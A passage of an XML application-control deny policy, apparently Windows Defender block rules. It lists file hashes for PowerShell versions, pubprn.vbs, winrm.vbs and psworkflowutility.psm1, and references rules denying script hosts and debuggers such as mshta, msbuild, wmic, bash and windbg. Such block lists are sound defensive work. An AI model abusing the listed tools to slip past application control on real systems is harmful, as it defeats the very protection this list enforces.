      <Deny ID="ID_DENY_D_591" FriendlyName="PowerShellShell 591" Hash="BB47C1251866F87723A7EDEC9A01D3B955BAB846"/>
      <Deny ID="ID_DENY_D_592" FriendlyName="PowerShellShell 592" Hash="B05F3BE23DE6AE2557D6661C6FE35E114E8A69B326A3C855023B7AC5CE9FC31B"/>
      <Deny ID="ID_DENY_D_593" FriendlyName="PowerShellShell 593" Hash="2F3D30827E02D5FEF051E54C74ECA6AD4CC4BAD2"/>
      <Deny ID="ID_DENY_D_594" FriendlyName="PowerShellShell 594" Hash="F074589A1FAA76A751B05AD61B968683134F3FFC10DE3077FBCEE4E263EAEB0D"/>
      <Deny ID="ID_DENY_D_595" FriendlyName="PowerShellShell 595" Hash="10096BD0A359142A13F2B8023A341C79A4A97975"/>
      <Deny ID="ID_DENY_D_596" FriendlyName="PowerShellShell 596" Hash="A271D72CDE48F69EB694B753BF9417CD6A72F7DA06C52E47BAB40EC2BD9DD819"/>
      <Deny ID="ID_DENY_D_597" FriendlyName="PowerShellShell 597" Hash="F8E803E1623BA66EA2EE0751A648834130B8BE5D"/>
      <Deny ID="ID_DENY_D_598" FriendlyName="PowerShellShell 598" Hash="E70DB033B773FE01B1D4464CAC112AF41C09E75D25FEA25AE8DAE67ED941E797"/>
      <Deny ID="ID_DENY_D_599" FriendlyName="PowerShellShell 599" Hash="665BE52329F9CECEC1CD548A1B4924C9B1F79BD8"/>
      <Deny ID="ID_DENY_D_600" FriendlyName="PowerShellShell 600" Hash="24CC5B946D9469A39CF892DD4E92117E0E144DC7C6FAA65E71643DEAB87B2A91"/>
      <Deny ID="ID_DENY_D_601" FriendlyName="PowerShellShell 601" Hash="C4627F2CF69A8575D7BF7065ADF5354D96707DFD"/>
      <Deny ID="ID_DENY_D_602" FriendlyName="PowerShellShell 602" Hash="7F1DF759C050E0EF4F9F96FF43904B418C674D4830FE61818B60CC68629F5ABA"/>
      <Deny ID="ID_DENY_D_603" FriendlyName="PowerShellShell 603" Hash="4126DD5947E63DB50AD5C135AC39856B6ED4BF33"/>
      <Deny ID="ID_DENY_D_604" FriendlyName="PowerShellShell 604" Hash="B38E1198F82E7C2B3123984C017417F2A48BDFF5B6DBAD20B2438D7B65F6E39F"/>
      <Deny ID="ID_DENY_D_605" FriendlyName="PowerShellShell 605" Hash="DE16A6B93178B6C6FC33FBF3E9A86CFF070DA6D3"/>
      <Deny ID="ID_DENY_D_606" FriendlyName="PowerShellShell 606" Hash="A3EF9A95D1E859958DEBE44C033B4562EBB9B4C6E32005CA5C07B2E07A42E2BE"/>
    
      <!-- pubprn.vbs
      --> 
      <!-- rs2 x86fre
      --> 
      <Deny ID="ID_DENY_D_249" FriendlyName="PubPrn 249" Hash="68E96BE23748AA680D5E1E557778901F332ED5D3"/> 
      <Deny ID="ID_DENY_D_250" FriendlyName="PubPrn 250" Hash="8FA30B5931806565C2058E565C06AD5F1C5A48CDBE609975EB31207C25214063"/> 
      <!-- rs2 amd64fre
      --> 
      <Deny ID="ID_DENY_D_251" FriendlyName="PubPrn 251" Hash="32C4B29FE428B1DF473F3F4FECF519D285E93521"/> 
      <Deny ID="ID_DENY_D_252" FriendlyName="PubPrn 252" Hash="D44FB563198D60DFDC91608949FE2FADAD6161854D084EB1968C558AA36513C7"/> 
      <!-- rs2 amd64chk
      --> 
      <Deny ID="ID_DENY_D_253" FriendlyName="PubPrn 253" Hash="9EDBEF086D350863F29175F5AB5178B88B142C75"/> 
      <Deny ID="ID_DENY_D_254" FriendlyName="PubPrn 254" Hash="9B22C98351F2B6DEDDCED0D805C65F5B166FF519A8DF41EB242CB909471892EB"/> 
      <!-- rs2 x86chk
      --> 
      <Deny ID="ID_DENY_D_255" FriendlyName="PubPrn 255" Hash="8A3B30F345C43246B3500721CFEEADBAC6B9D9C6"/> 
      <Deny ID="ID_DENY_D_256" FriendlyName="PubPrn 256" Hash="37C20BF20A2BBACE50957F8D0AB3FD16174BC005E79D47E51E899AFD9E4B7724"/> 
      <!-- rs2 woafre
      --> 
      <Deny ID="ID_DENY_D_257" FriendlyName="PubPrn 257" Hash="C659DAD2B37375781E2D584E16AAE2A10B5A1156"/> 
      <Deny ID="ID_DENY_D_258" FriendlyName="PubPRn 258" Hash="EBDACA86F10AC0446D60CC75628EC7A370B1E2236E6D20F22372F91033B6D429"/> 
      <!-- rs3 amd64chk
      --> 
      <Deny ID="ID_DENY_D_259" FriendlyName="PubPrn 259" Hash="C9D6394BBFF8CD9C6590F08C54EC6AFDEB5CFFB4"/> 
      <Deny ID="ID_DENY_D_260" FriendlyName="PubPrn 260" Hash="518E4EA7A2B70713E1AEC6E7E75A488C39384B625C5F2779073E9294CBF2BD9F"/> 
      <!-- rs3 amd64fre
      --> 
      <Deny ID="ID_DENY_D_261" FriendlyName="PubPrn 261" Hash="C9D6394BBFF8CD9C6590F08C54EC6AFDEB5CFFB4"/> 
      <Deny ID="ID_DENY_D_262" FriendlyName="PubPrn 262" Hash="518E4EA7A2B70713E1AEC6E7E75A488C39384B625C5F2779073E9294CBF2BD9F"/> 
      <!-- rs3 arm64chk
      --> 
      <Deny ID="ID_DENY_D_263" FriendlyName="PubPrn 263" Hash="763A652217A1E30F2D288B7F44E08346949A02CD"/> 
      <Deny ID="ID_DENY_D_264" FriendlyName="PubPrn 264" Hash="FCDDA212B06602F642B29FC05316EF75E4EE9975E6E8A9526E842BE2EA237C5D"/> 
      <!-- rs3 arm64fre
      --> 
      <Deny ID="ID_DENY_D_265" FriendlyName="PubPrn 265" Hash="763A652217A1E30F2D288B7F44E08346949A02CD"/> 
      <Deny ID="ID_DENY_D_266" FriendlyName="PubPrn 266" Hash="FCDDA212B06602F642B29FC05316EF75E4EE9975E6E8A9526E842BE2EA237C5D"/> 
      <!-- rs3 woachk
      --> 
      <Deny ID="ID_DENY_D_267" FriendlyName="PubPrn 267" Hash="60FD28D770B23A0477679311D247DA4D5C61074C"/> 
      <Deny ID="ID_DENY_D_268" FriendlyName="PubPrn 268" Hash="D09A4B2EA611CDFDC6DCA44314289B622B2A5EDA09716EF4A16B91EC90BFBA8F"/> 
      <!-- rs3 woafre
      --> 
      <Deny ID="ID_DENY_D_269" FriendlyName="PubPrn 269" Hash="60FD28D770B23A0477679311D247DA4D5C61074C"/> 
      <Deny ID="ID_DENY_D_270" FriendlyName="PubPrn 270" Hash="D09A4B2EA611CDFDC6DCA44314289B622B2A5EDA09716EF4A16B91EC90BFBA8F"/> 
      <!-- rs3 x86chk
      --> 
      <Deny ID="ID_DENY_D_271" FriendlyName="PubPrn 271" Hash="47CBE201ED224BF3F5C322F7A49EF64469AF2E1A"/> 
      <Deny ID="ID_DENY_D_272" FriendlyName="PubPrn 272" Hash="24855B9CC420719D5AB93F4F1589CE09E4063E4FC98681BD91A1D18A3C8ACB43"/> 
      <!-- rs3 x86fre
      --> 
      <Deny ID="ID_DENY_D_273" FriendlyName="PubPrn 273" Hash="47CBE201ED224BF3F5C322F7A49EF64469AF2E1A"/> 
      <Deny ID="ID_DENY_D_274" FriendlyName="PubPrn 274" Hash="24855B9CC420719D5AB93F4F1589CE09E4063E4FC98681BD91A1D18A3C8ACB43"/> 
      <!-- rs3 sxs amd64
      --> 
      <Deny ID="ID_DENY_D_275" FriendlyName="PubPrn 275" Hash="663D8E25BAE20510A882F6692BE2620FBABFB94E"/> 
      <Deny ID="ID_DENY_D_276" FriendlyName="PubPrn 276" Hash="649A9E5A4867A28C7D0934793F33B545F9441EA23872715C84826D80CC8EC576"/> 
      <!-- rs3 sxs arm64
      --> 
      <Deny ID="ID_DENY_D_277" FriendlyName="PubPrn 277" Hash="226ABB2FBAEFC5A7E2A819D9D708F826C00FD215"/> 
      <Deny ID="ID_DENY_D_278" FriendlyName="PubPrn 278" Hash="AC6B35C904D388FD12C07C2F6A1A07F337D31895713BF01DCCE7A7F187D7F4D9"/> 
      <!-- rs3 sxs woa
      --> 
      <Deny ID="ID_DENY_D_279" FriendlyName="PubPrn 279" Hash="071D7849941E43144839988971255FE34690A747"/> 
      <Deny ID="ID_DENY_D_280" FriendlyName="PubPrn 280" Hash="5AF75895BDC11A6B68C816A8677D7CF9692BF25A95C4378A43FBDE740B18EEB1"/> 
      <!-- rs3 sxs x86
      --> 
      <Deny ID="ID_DENY_D_281" FriendlyName="PubPrn 281" Hash="9FBFF074C201BFEBE37710CB453EFF9A14AE3BFF"/> 
      <Deny ID="ID_DENY_D_282" FriendlyName="PubPrn 282" Hash="A0C71A925850D2D481C7E520F5D5A83305EC169EEA4C5B8DC20C8D8AFCD8A512"/> 
      <!-- psworkflowutility.psm1
      --> 
      <!-- th1
      --> 
      <Deny ID="ID_DENY_D_283" FriendlyName="PSWorkflowUtility 283" Hash="4FBC9A72C5D5246F34994F13076A5AD98A1A844E"/> 
      <Deny ID="ID_DENY_D_284" FriendlyName="PSWorkflowUtility 284" Hash="7BF44433D3A606104778F64B11B92C52FC99C4BA570C50B70438275D0B587B8E"/> 
      <!-- th2
      --> 
      <Deny ID="ID_DENY_D_285" FriendlyName="PSWorkflowUtility 285" Hash="99382ED8FA3577DFD903C01478A79D6D90681406"/> 
      <Deny ID="ID_DENY_D_286" FriendlyName="PSWorkflowUtility 286" Hash="C3A5DAB20947CA8FD092E75C25177E7BAE7884CA58710F14827144C09EA1F94B"/> 
    
      <!-- winrm.vbs
      --> 
      <Deny ID="ID_DENY_D_583" FriendlyName="Winrm 583" Hash="3FA2D2963CBF47FFD5F7F5A9B4576F34ED42E552"/> 
      <Deny ID="ID_DENY_D_584" FriendlyName="Winrm 584" Hash="6C96E976DC47E0C99B77814E560E0DC63161C463C75FA15B7A7CA83C11720E82"/> 
    
      </FileRules>
      <!-- Signers
      --> 
      <Signers /> 
      <!-- Driver Signing Scenarios
      --> 
      <SigningScenarios>
      <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1" FriendlyName="Driver Signing Scenarios">
      <ProductSigners>
      <FileRulesRef>
      <FileRuleRef RuleID="ID_DENY_KD_KMCI"/> 
      </FileRulesRef>
      </ProductSigners>
      </SigningScenario>
      <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="User Mode Signing Scenarios">
      <ProductSigners>
      <FileRulesRef>
      <FileRuleRef RuleID="ID_DENY_BGINFO"/> 
      <FileRuleRef RuleID="ID_DENY_CBD"/> 
      <FileRuleRef RuleID="ID_DENY_KD"/> 
      <FileRuleRef RuleID="ID_DENY_NTKD"/> 
      <FileRuleRef RuleID="ID_DENY_WINDBG"/> 
      <FileRuleRef RuleID="ID_DENY_MSBUILD"/> 
      <FileRuleRef RuleID="ID_DENY_CSI"/> 
      <FileRuleRef RuleID="ID_DENY_DBGHOST"/> 
      <FileRuleRef RuleID="ID_DENY_DBGSVC"/> 
      <FileRuleRef RuleID="ID_DENY_DNX"/> 
      <FileRuleRef RuleID="ID_DENY_RCSI"/> 
      <FileRuleRef RuleID="ID_DENY_NTSD"/> 
      <FileRuleRef RuleID="ID_DENY_LXSS"/> 
      <FileRuleRef RuleID="ID_DENY_BASH"/> 
      <FileRuleRef RuleID="ID_DENY_FSI"/> 
      <FileRuleRef RuleID="ID_DENY_FSI_ANYCPU"/> 
      <FileRuleRef RuleID="ID_DENY_MSHTA"/> 
      <FileRuleRef RuleID="ID_DENY_VISUALUIAVERIFY"/> 
      <FileRuleRef RuleID="ID_DENY_RUNSCRIPTHELPER"/> 
      <FileRuleRef RuleID="ID_DENY_ADDINPROCESS"/> 
      <FileRuleRef RuleID="ID_DENY_ADDINPROCESS32"/> 
      <FileRuleRef RuleID="ID_DENY_ADDINUTIL"/> 
      <FileRuleRef RuleID="ID_DENY_WSL"/> 
      <FileRuleRef RuleID="ID_DENY_WSLCONFIG"/> 
      <FileRuleRef RuleID="ID_DENY_WSLHOST"/> 
      <FileRuleRef RuleID="ID_DENY_INFINSTALL"/> 
      <FileRuleRef RuleID="ID_DENY_LXRUN"/> 
      <FileRuleRef RuleID="ID_DENY_PWRSHLCUSTOMHOST"/> 
      <FileRuleRef RuleID="ID_DENY_TEXTTRANSFORM"/> 
      <FileRuleRef RuleID="ID_DENY_KILL"/> 
      <FileRuleRef RuleID="ID_DENY_WMIC"/>
      <FileRuleRef RuleID="ID_DENY_MWFC" /> 
      <FileRuleRef RuleID="ID_DENY_WFC" /> 
      <FileRuleRef RuleID="ID_DENY_MSXML3" /> 
      <FileRuleRef RuleID="ID_DENY_MSXML6" /> 
      <FileRuleRef RuleID="ID_DENY_JSCRIPT9" />
      <FileRuleRef RuleID="ID_DENY_D_1"/>
      <FileRuleRef RuleID="ID_DENY_D_2"/> 
      <FileRuleRef RuleID="ID_DENY_D_3"/> 
      <FileRuleRef RuleID="ID_DENY_D_4"/> 
      <FileRuleRef RuleID="ID_DENY_D_5"/> 
      <FileRuleRef RuleID="ID_DENY_D_6"/> 
      <FileRuleRef RuleID="ID_DENY_D_7"/> 
      <FileRuleRef RuleID="ID_DENY_D_8"/> 
      <FileRuleRef RuleID="ID_DENY_D_9"/> 
      <FileRuleRef RuleID="ID_DENY_D_10"/> 
      <FileRuleRef RuleID="ID_DENY_D_11"/> 
      <FileRuleRef RuleID="ID_DENY_D_12"/> 
      <FileRuleRef RuleID="ID_DENY_D_13"/> 
      <FileRuleRef RuleID="ID_DENY_D_14"/> 
      <FileRuleRef RuleID="ID_DENY_D_15"/> 
      <FileRuleRef RuleID="ID_DENY_D_16"/> 
      <FileRuleRef RuleID="ID_DENY_D_17"/> 
      <FileRuleRef RuleID="ID_DENY_D_18"/> 
      <FileRuleRef RuleID="ID_DENY_D_19"/> 
      <FileRuleRef RuleID="ID_DENY_D_20"/> 
      <FileRuleRef RuleID="ID_DENY_D_21"/> 
      <FileRuleRef RuleID="ID_DENY_D_22"/> 
      <FileRuleRef RuleID="ID_DENY_D_23"/> 
      <FileRuleRef RuleID="ID_DENY_D_24"/> 
      <FileRuleRef RuleID="ID_DENY_D_25"/> 
      <FileRuleRef RuleID="ID_DENY_D_26"/> 
      <FileRuleRef RuleID="ID_DENY_D_27"/> 
      <FileRuleRef RuleID="ID_DENY_D_28"/> 
      <FileRuleRef RuleID="ID_DENY_D_29"/> 
      <FileRuleRef RuleID="ID_DENY_D_30"/> 
      <FileRuleRef RuleID="ID_DENY_D_31"/> 
      <FileRuleRef RuleID="ID_DENY_D_32"/> 
      <FileRuleRef RuleID="ID_DENY_D_33"/> 
      <FileRuleRef RuleID="ID_DENY_D_34"/> 
      <FileRuleRef RuleID="ID_DENY_D_35"/> 
      <FileRuleRef RuleID="ID_DENY_D_36"/> 
      <FileRuleRef RuleID="ID_DENY_D_37"/> 
      <FileRuleRef RuleID="ID_DENY_D_38"/> 
      <FileRuleRef RuleID="ID_DENY_D_39"/> 
      <FileRuleRef RuleID="ID_DENY_D_40"/> 
      <FileRuleRef RuleID="ID_DENY_D_41"/> 
      <FileRuleRef RuleID="ID_DENY_D_42"/> 
      <FileRuleRef RuleID="ID_DENY_D_43"/> 
      <FileRuleRef RuleID="ID_DENY_D_44"/> 
      <FileRuleRef RuleID="ID_DENY_D_45"/> 
      <FileRuleRef RuleID="ID_DENY_D_46"/> 
      <FileRuleRef RuleID="ID_DENY_D_47"/> 
      <FileRuleRef RuleID="ID_DENY_D_48"/> 
      <FileRuleRef RuleID="ID_DENY_D_49"/> 
      <FileRuleRef RuleID="ID_DENY_D_50"/> 
      <FileRuleRef RuleID="ID_DENY_D_51"/> 
      <FileRuleRef RuleID="ID_DENY_D_52"/> 
      <FileRuleRef RuleID="ID_DENY_D_53"/> 
      <FileRuleRef RuleID="ID_DENY_D_54"/> 
      <FileRuleRef RuleID="ID_DENY_D_55"/> 
      <FileRuleRef RuleID="ID_DENY_D_56"/> 
      <FileRuleRef RuleID="ID_DENY_D_57"/> 
      <FileRuleRef RuleID="ID_DENY_D_58"/> 
      <FileRuleRef RuleID="ID_DENY_D_59"/> 
      <FileRuleRef RuleID="ID_DENY_D_60"/> 
      <FileRuleRef RuleID="ID_DENY_D_61"/> 
      <FileRuleRef RuleID="ID_DENY_D_62"/> 
      <FileRuleRef RuleID="ID_DENY_D_63"/> 
      <FileRuleRef RuleID="ID_DENY_D_64"/> 
      <FileRuleRef RuleID="ID_DENY_D_65"/> 
      <FileRuleRef RuleID="ID_DENY_D_66"/> 
      <FileRuleRef RuleID="ID_DENY_D_67"/> 
      <FileRuleRef RuleID="ID_DENY_D_68"/> 
      <FileRuleRef RuleID="ID_DENY_D_69"/> 
      <FileRuleRef RuleID="ID_DENY_D_70"/> 
      <FileRuleRef RuleID="ID_DENY_D_71"/> 
      <FileRuleRef RuleID="ID_DENY_D_72"/> 
      <FileRuleRef RuleID="ID_DENY_D_73"/> 
      <FileRuleRef RuleID="ID_DENY_D_74"/> 
      <FileRuleRef RuleID="ID_DENY_D_75"/> 
      <FileRuleRef RuleID="ID_DENY_D_76"/> 
      <FileRuleRef RuleID="ID_DENY_D_77"/> 
      <FileRuleRef RuleID="ID_DENY_D_78"/> 
      <FileRuleRef RuleID="ID_DENY_D_79"/> 
      <FileRuleRef RuleID="ID_DENY_D_80"/> 
      <FileRuleRef RuleID="ID_DENY_D_81"/> 
      <FileRuleRef RuleID="ID_DENY_D_82"/> 
      <FileRuleRef RuleID="ID_DENY_D_83"/> 
      <FileRuleRef RuleID="ID_DENY_D_84"/> 
      <FileRuleRef RuleID="ID_DENY_D_85"/> 
      <FileRuleRef RuleID="ID_DENY_D_86"/> 
      <FileRuleRef RuleID="ID_DENY_D_87"/> 
      <FileRuleRef RuleID="ID_DENY_D_88"/> 
      <FileRuleRef RuleID="ID_DENY_D_89"/> 
      <FileRuleRef RuleID="ID_DENY_D_90"/> 
      <FileRuleRef RuleID="ID_DENY_D_91"/> 
      <FileRuleRef RuleID="ID_DENY_D_92"/> 
      <FileRuleRef RuleID="ID_DENY_D_93"/> 
      <FileRuleRef RuleID="ID_DENY_D_94"/> 
      <FileRuleRef RuleID="ID_DENY_D_95"/> 
      <FileRuleRef RuleID="ID_DENY_D_96"/> 
      <FileRuleRef RuleID="ID_DENY_D_97"/> 
      <FileRuleRef RuleID="ID_DENY_D_98"/> 
      <FileRuleRef RuleID="ID_DENY_D_99"/> 
      <FileRuleRef RuleID="ID_DENY_D_100"/> 
      <FileRuleRef RuleID="ID_DENY_D_101"/> 
      <FileRuleRef RuleID="ID_DENY_D_102"/> 
      <FileRuleRef RuleID="ID_DENY_D_103"/> 
      <FileRuleRef RuleID="ID_DENY_D_104"/> 
      <FileRuleRef RuleID="ID_DENY_D_105"/> 
      <FileRuleRef RuleID="ID_DENY_D_106"/> 
      <FileRuleRef RuleID="ID_DENY_D_107"/> 
      <FileRuleRef RuleID="ID_DENY_D_108"/> 
      <FileRuleRef RuleID="ID_DENY_D_109"/> 
      <FileRuleRef RuleID="ID_DENY_D_110"/> 
      <FileRuleRef RuleID="ID_DENY_D_111"/> 
      <FileRuleRef RuleID="ID_DENY_D_112"/> 
      <FileRuleRef RuleID="ID_DENY_D_113"/> 
      <FileRuleRef RuleID="ID_DENY_D_114"/> 
      <FileRuleRef RuleID="ID_DENY_D_115"/> 
      <FileRuleRef RuleID="ID_DENY_D_116"/> 
      <FileRuleRef RuleID="ID_DENY_D_117"/> 
      <FileRuleRef RuleID="ID_DENY_D_118"/> 
      <FileRuleRef RuleID="ID_DENY_D_119"/> 
      <FileRuleRef RuleID="ID_DENY_D_120"/> 
      <FileRuleRef RuleID="ID_DENY_D_121"/> 
      <FileRuleRef RuleID="ID_DENY_D_122"/> 
      <FileRuleRef RuleID="ID_DENY_D_123"/> 
      <FileRuleRef RuleID="ID_DENY_D_124"/> 
      <FileRuleRef RuleID="ID_DENY_D_125"/> 
      <FileRuleRef RuleID="ID_DENY_D_126"/> 
      <FileRuleRef RuleID="ID_DENY_D_127"/> 
      <FileRuleRef RuleID="ID_DENY_D_128"/> 
      <FileRuleRef RuleID="ID_DENY_D_129"/> 
      <FileRuleRef RuleID="ID_DENY_D_130"/> 
      <FileRuleRef RuleID="ID_DENY_D_131"/> 
      <FileRuleRef RuleID="ID_DENY_D_132"/> 
      <FileRuleRef RuleID="ID_DENY_D_133"/> 
      <FileRuleRef RuleID="ID_DENY_D_134"/> 
      <FileRuleRef RuleID="ID_DENY_D_135"/> 
      <FileRuleRef RuleID="ID_DENY_D_136"/> 
      <FileRuleRef RuleID="ID_DENY_D_137"/> 
      <FileRuleRef RuleID="ID_DENY_D_138"/> 
      <FileRuleRef RuleID="ID_DENY_D_139"/> 
      <FileRuleRef RuleID="ID_DENY_D_140"/> 
      <FileRuleRef RuleID="ID_DENY_D_141"/> 
      <FileRuleRef RuleID="ID_DENY_D_142"/> 
      <FileRuleRef RuleID="ID_DENY_D_143"/> 
      <FileRuleRef RuleID="ID_DENY_D_144"/> 
      <FileRuleRef RuleID="ID_DENY_D_145"/> 
      <FileRuleRef RuleID="ID_DENY_D_146"/> 
      <FileRuleRef RuleID="ID_DENY_D_147"/> 
      <FileRuleRef RuleID="ID_DENY_D_148"/> 
      <FileRuleRef RuleID="ID_DENY_D_149"/> 
      <FileRuleRef RuleID="ID_DENY_D_150"/> 
      <FileRuleRef RuleID="ID_DENY_D_151"/> 
      <FileRuleRef RuleID="ID_DENY_D_152"/> 
      <FileRuleRef RuleID="ID_DENY_D_153"/> 
      <FileRuleRef RuleID="ID_DENY_D_154"/> 
      <FileRuleRef RuleID="ID_DENY_D_155"/> 
      <FileRuleRef RuleID="ID_DENY_D_156"/> 
      <FileRuleRef RuleID="ID_DENY_D_157"/> 
      <FileRuleRef RuleID="ID_DENY_D_158"/> 
      <FileRuleRef RuleID="ID_DENY_D_159"/> 
      <FileRuleRef RuleID="ID_DENY_D_160"/> 
      <FileRuleRef RuleID="ID_DENY_D_161"/> 
      <FileRuleRef RuleID="ID_DENY_D_162"/> 
      <FileRuleRef RuleID="ID_DENY_D_163"/> 
      <FileRuleRef RuleID="ID_DENY_D_164"/> 
      <FileRuleRef RuleID="ID_DENY_D_165"/> 
      <FileRuleRef RuleID="ID_DENY_D_166"/> 
      <FileRuleRef RuleID="ID_DENY_D_167"/> 
      <FileRuleRef RuleID="ID_DENY_D_168"/> 
      <FileRuleRef RuleID="ID_DENY_D_169"/> 
      <FileRuleRef RuleID="ID_DENY_D_170"/> 
      <FileRuleRef RuleID="ID_DENY_D_171"/> 
      <FileRuleRef RuleID="ID_DENY_D_172"/> 
      <FileRuleRef RuleID="ID_DENY_D_173"/> 
      <FileRuleRef RuleID="ID_DENY_D_174"/> 
      <FileRuleRef RuleID="ID_DENY_D_175"/> 
      <FileRuleRef RuleID="ID_DENY_D_176"/> 
      <FileRuleRef RuleID="ID_DENY_D_177"/> 
      <FileRuleRef RuleID="ID_DENY_D_178"/> 
      <FileRuleRef RuleID="ID_DENY_D_179"/> 
      <FileRuleRef RuleID="ID_DENY_D_180"/> 
      <FileRuleRef RuleID="ID_DENY_D_181"/> 
      <FileRuleRef RuleID="ID_DENY_D_182"/> 
      <FileRuleRef RuleID="ID_DENY_D_183"/> 
      <FileRuleRef RuleID="ID_DENY_D_184"/> 
      <FileRuleRef RuleID="ID_DENY_D_185"/> 
      <FileRuleRef RuleID="ID_DENY_D_186"/> 
      <FileRuleRef RuleID="ID_DENY_D_187"/> 
      <FileRuleRef RuleID="ID_DENY_D_188"/> 
      <FileRuleRef RuleID="ID_DENY_D_189"/> 
      <FileRuleRef RuleID="ID_DENY_D_190"/> 
      <FileRuleRef RuleID="ID_DENY_D_191"/> 
      <FileRuleRef RuleID="ID_DENY_D_192"/> 
      <FileRuleRef RuleID="ID_DENY_D_193"/> 
      <FileRuleRef RuleID="ID_DENY_D_194"/> 
      <FileRuleRef RuleID="ID_DENY_D_195"/> 
      <FileRuleRef RuleID="ID_DENY_D_196"/> 
      <FileRuleRef RuleID="ID_DENY_D_197"/> 
      <FileRuleRef RuleID="ID_DENY_D_198"/> 
      <FileRuleRef RuleID="ID_DENY_D_199"/> 
      <FileRuleRef RuleID="ID_DENY_D_200"/> 
      <FileRuleRef RuleID="ID_DENY_D_201"/> 
      <FileRuleRef RuleID="ID_DENY_D_202"/> 
      <FileRuleRef RuleID="ID_DENY_D_203"/> 
      <FileRuleRef RuleID="ID_DENY_D_204"/> 
      <FileRuleRef RuleID="ID_DENY_D_205"/> 
      <FileRuleRef RuleID="ID_DENY_D_206"/> 
      <FileRuleRef RuleID="ID_DENY_D_207"/> 
      <FileRuleRef RuleID="ID_DENY_D_208"/> 
      <FileRuleRef RuleID="ID_DENY_D_209"/> 
      <FileRuleRef RuleID="ID_DENY_D_210"/> 
      <FileRuleRef RuleID="ID_DENY_D_211"/> 
      <FileRuleRef RuleID="ID_DENY_D_212"/> 
      <FileRuleRef RuleID="ID_DENY_D_213"/> 
      <FileRuleRef RuleID="ID_DENY_D_214"/> 
      <FileRuleRef RuleID="ID_DENY_D_215"/> 
      <FileRuleRef RuleID="ID_DENY_D_216"/> 
      <FileRuleRef RuleID="ID_DENY_D_217"/> 
      <FileRuleRef RuleID="ID_DENY_D_218"/> 
      <FileRuleRef RuleID="ID_DENY_D_219"/> 
      <FileRuleRef RuleID="ID_DENY_D_220"/> 
      <FileRuleRef RuleID="ID_DENY_D_221"/> 
      <FileRuleRef RuleID="ID_DENY_D_222"/> 
      <FileRuleRef RuleID="ID_DENY_D_223"/> 
      <FileRuleRef RuleID="ID_DENY_D_224"/> 
      <FileRuleRef RuleID="ID_DENY_D_225"/> 
      <FileRuleRef RuleID="ID_DENY_D_226"/> 
      <FileRuleRef RuleID="ID_DENY_D_227"/> 
      <FileRuleRef RuleID="ID_DENY_D_228"/> 
      <FileRuleRef RuleID="ID_DENY_D_229"/> 
      <FileRuleRef RuleID="ID_DENY_D_230"/> 
      <FileRuleRef RuleID="ID_DENY_D_231"/> 
      <FileRuleRef RuleID="ID_DENY_D_232"/> 
      <FileRuleRef RuleID="ID_DENY_D_233"/> 
      <FileRuleRef RuleID="ID_DENY_D_234"/> 
      <FileRuleRef RuleID="ID_DENY_D_235"/> 
      <FileRuleRef RuleID="ID_DENY_D_236"/> 
      <FileRuleRef RuleID="ID_DENY_D_237"/> 
      <FileRuleRef RuleID="ID_DENY_D_238"/> 
      <FileRuleRef RuleID="ID_DENY_D_239"/> 
      <FileRuleRef RuleID="ID_DENY_D_240"/> 
      <FileRuleRef RuleID="ID_DENY_D_241"/> 
      <FileRuleRef RuleID="ID_DENY_D_242"/> 
      <FileRuleRef RuleID="ID_DENY_D_243"/> 
      <FileRuleRef RuleID="ID_DENY_D_244"/> 
      <FileRuleRef RuleID="ID_DENY_D_245"/> 
      <FileRuleRef RuleID="ID_DENY_D_246"/> 
      <FileRuleRef RuleID="ID_DENY_D_247"/> 
      <FileRuleRef RuleID="ID_DENY_D_248"/> 
      <FileRuleRef RuleID="ID_DENY_D_249"/> 
      <FileRuleRef RuleID="ID_DENY_D_250"/> 
      <FileRuleRef RuleID="ID_DENY_D_251"/> 
      <FileRuleRef RuleID="ID_DENY_D_252"/> 
      <FileRuleRef RuleID="ID_DENY_D_253"/> 
      <FileRuleRef RuleID="ID_DENY_D_254"/> 
      <FileRuleRef RuleID="ID_DENY_D_255"/> 
      <FileRuleRef RuleID="ID_DENY_D_256"/> 
      <FileRuleRef RuleID="ID_DENY_D_257"/> 
      <FileRuleRef RuleID="ID_DENY_D_258"/> 
      <FileRuleRef RuleID="ID_DENY_D_259"/> 
      <FileRuleRef RuleID="ID_DENY_D_260"/> 
      <FileRuleRef RuleID="ID_DENY_D_261"/> 
      <FileRuleRef RuleID="ID_DENY_D_262"/> 
      <FileRuleRef RuleID="ID_DENY_D_263"/> 
      <FileRuleRef RuleID="ID_DENY_D_264"/> 
      <FileRuleRef RuleID="ID_DENY_D_265"/> 
      <FileRuleRef RuleID="ID_DENY_D_266"/> 
      <FileRuleRef RuleID="ID_DENY_D_267"/> 
      <FileRuleRef RuleID="ID_DENY_D_268"/> 
      <FileRuleRef RuleID="ID_DENY_D_269"/> 
      <FileRuleRef RuleID="ID_DENY_D_270"/> 
      <FileRuleRef RuleID="ID_DENY_D_271"/> 
      <FileRuleRef RuleID="ID_DENY_D_272"/> 
      <FileRuleRef RuleID="ID_DENY_D_273"/> 
      <FileRuleRef RuleID="ID_DENY_D_274"/> 
      <FileRuleRef RuleID="ID_DENY_D_275"/> 
      <FileRuleRef RuleID="ID_DENY_D_276"/> 
      <FileRuleRef RuleID="ID_DENY_D_277"/> 
      <FileRuleRef RuleID="ID_DENY_D_278"/> 
      <FileRuleRef RuleID="ID_DENY_D_279"/> 
      <FileRuleRef RuleID="ID_DENY_D_280"/> 
      <FileRuleRef RuleID="ID_DENY_D_281"/> 
      <FileRuleRef RuleID="ID_DENY_D_282"/> 
      <FileRuleRef RuleID="ID_DENY_D_283"/> 
      <FileRuleRef RuleID="ID_DENY_D_284"/> 
      <FileRuleRef RuleID="ID_DENY_D_285"/> 
      <FileRuleRef RuleID="ID_DENY_D_286"/>
      <FileRuleRef RuleID="ID_DENY_D_287"/>
      <FileRuleRef RuleID="ID_DENY_D_288"/>
      <FileRuleRef RuleID="ID_DENY_D_289"/>
      <FileRuleRef RuleID="ID_DENY_D_290"/>
      <FileRuleRef RuleID="ID_DENY_D_291"/>
      <FileRuleRef RuleID="ID_DENY_D_292"/>
      <FileRuleRef RuleID="ID_DENY_D_293"/>
      <FileRuleRef RuleID="ID_DENY_D_294"/>
      <FileRuleRef RuleID="ID_DENY_D_295"/>
      <FileRuleRef RuleID="ID_DENY_D_296"/>
      <FileRuleRef RuleID="ID_DENY_D_297"/>
      <FileRuleRef RuleID="ID_DENY_D_298"/>
      <FileRuleRef RuleID="ID_DENY_D_299"/>
      <FileRuleRef RuleID="ID_DENY_D_300"/>
